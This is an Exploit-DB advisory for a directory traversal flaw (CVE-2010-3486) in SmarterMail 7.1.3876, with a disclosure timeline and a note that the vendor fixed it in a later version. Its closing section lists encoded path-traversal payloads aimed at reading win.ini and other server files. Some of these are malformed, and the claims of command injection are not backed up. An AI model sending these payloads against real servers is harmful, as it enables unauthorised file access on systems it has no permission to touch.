smartermail 7.1.3876 - Directory Traversal vulnerability



EDB-ID: 15048 CVE: 2010-3486 OSVDB-ID: 68195
Author: sqlhacker Published: 2010-09-19 Verified: Verified
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# Note: Fixed by the vendor in version 7.2.3925
# http://www.smartertools.com/smartermail/releasenotes/v7.aspx

  Vendor: smartertools.com SmarterMail 7.x (7.1.3876) | Bug : Directory
Traversal, OS Command Injection, Other Critcal Vulns
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# Vendor: smartertools.com SmarterMail 7.x (7.1.3876)
# Date: 2010-09-12
# Author : sqlhacker – http://cloudscan.me
# Thanks to : Burp Suite Pro - engagement tool
# : FuzzDB
# Contact : h02332@gmail.com
# Home : http://cloudscan.me
# Dork : insite: SmarterMail Enterprise 7.1
# Bug : Directory Traversal, OS Command Injection, Other Critcal Vulns
# Tested on : SmarterMail 7.x (7.1.3876) // Windows 2008 /64/R2
# Vendor Contact - August 14, 2010
# -Multiple email exchanges with Vendor thru Labor Day 2010
# - Vendor took no action 9/1/2010
# - Public Disclosure with Workaround Solution Provided 9-4-2010
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Source URL
http://cloudscan.blogspot.com/2010/09/smarter-stats-533819-file-fuzzing.html

The default installation of SmarterMail is vulnerable to 1 (or more) of the
file fuzzing types contained within FuzzDB and Burp Suite Pro 1.3.08 as a
baseline analysis for exploit surface modeling.

Reduced to exploits, Directory Traversal, OS Injection and Execution.
Initial Exploit Requires user-level privs.

A malicious user seeking to exploit Browser Clients can launch attacks from
the User Home / Public Web Directory utilizing the SSL Certificate of the
Host Provider.
A malicious user seeking to exploit the Host Server can launch attacks as
Local File Inclusion or Remote File Inclusion and perform Operating System
Injections and Execution.
A malicious user can read and write directories, files and perform malicious
operations due to the default configuration of smartermail.


This is reduced to:   GET {Vulnerable SmarterMail
Site}/path/*payload*relative/path/to/target/file/
..%255c
.%5c../..%5c
/..%c0%9v../
/..%c0%af../
/..%255c..%255c
../../../../../../win.ini
../../../../../../SmarterMail/ExploitShells
../../../../../../SmarterMail/{Domain}/{(l)uzername)/PubPayloadDir/logo_25.jpg%../%../somewhere
to read/write
A workaround is posted in the Source URL
http://cloudscan.blogspot.com/2010/09/smarter-stats-533819-file-fuzzing.html